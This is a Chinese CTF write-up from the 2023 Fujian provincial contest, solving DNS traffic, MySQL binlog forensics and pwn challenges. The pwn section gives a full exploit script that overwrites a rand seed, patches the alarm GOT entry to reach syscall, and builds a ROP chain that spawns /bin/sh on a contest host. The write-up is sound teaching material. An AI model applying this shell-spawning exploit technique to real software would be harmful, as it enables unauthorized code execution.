2023福建省赛
DNS-流量分析
一眼压缩包
为了做快点,直接全部复制出来放txt里
删掉首尾无用的数据,前几个序号随便加个1补齐长度
读取脚本
with open ('11.txt','r')as f:
lines=f.readlines()
tmp=''
for i in range(0,len(lines),2):
tmp+=(lines[i][71:86:])
print(tmp)
得到压缩包,密码爆破
得到flag
mylog
mysql的二进制文件,mysqlbinlog导出成sql文件
翻阅时看到大概是两个数据库test和heidun,都在对flag、f1ag、f14g字段进行操作,一看后面的数据库才是对的flag
搜一下heidun,找一下对flag的操作
创建数据库,创建f14g表,看上去应该是把test.f14g表给移过去了
往上翻看到对test.f14g表的插入操作,FLAG{
后面表又切成f1ag,insertheidun_2023
_heidun]
最终得到FLAG{heidun_2023_heidun]
replace
最终flagflag{heidun-2023-heidun}
secret_message
查看保护,可以覆写got表
反编译静态分析程序逻辑,很明显的溢出,但是有个逻辑判断。
查看逻辑判断函数,输入正确的字符串即可。对字符串进行加密的rand函数种子我们并不知道,不过sub_4008d1函数有个越界覆写。动调找到正确字符串,懒得算了。
进入sub_4008d1
函数,因为输入的0x20字符和seed是相连的,所以填满0x20字节,可以让strlen算出0x24,在buf处覆盖seed为0x24
后面就是正常的rop链,但是程序中没有输出函数,只有alarm函数,所以要修改alarm的got,修改最低位为syscall。然后打syscall-0x3b调用system即可getshell。
- exp
from pwncy import *
from ctypes import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load("pwn",ip_port = '39.104.54.154:7354',remote_libc = "libc-2.27.so")
debug(p,'no-tmux',0x400A52,0x400954,0x400A83,0x400A3B)
code = "s0d0ao2lnfic9alsl2lmxncbzyqi1j2"
seed = (0x24)
elf_libc = cdll.LoadLibrary("./libc-2.27.so")
elf_libc.srand(seed)
payload = ""
for index in range(len(code)):
v4 = elf_libc.rand() % 16
# print(v4)
raw_char = code[index]
# print(raw_char)
payload += chr(v4 ^ ord(raw_char))
print(payload)
payload = "{>o<fi:`mjkj5daqd6fhugim~~rj5h="
s(payload+"\x00")
pause()
main = 0x400A52
pop_rdi = 0x400af3
pop_rsi_r15 = 0x400af1
# puts_got = elf.got['puts']
# puts_plt = elf.plt['puts']
alarm_got = elf.got['alarm']
read = elf.sym['read']
init1 = 0x400AEA
init2 = 0x400AD0
buf = elf.bss() + 0x400
padding = flat({
0x38: [pop_rsi_r15,alarm_got,alarm_got,read],
0x58: [pop_rsi_r15,buf,buf,read],
0x78: [init1,0,0,alarm_got,0,0,buf,init2]
})
s(padding)
pause()
s(b"\xf5")
pause()
s(b"/bin/sh\x00".ljust(0x3b,b'A'))
itr()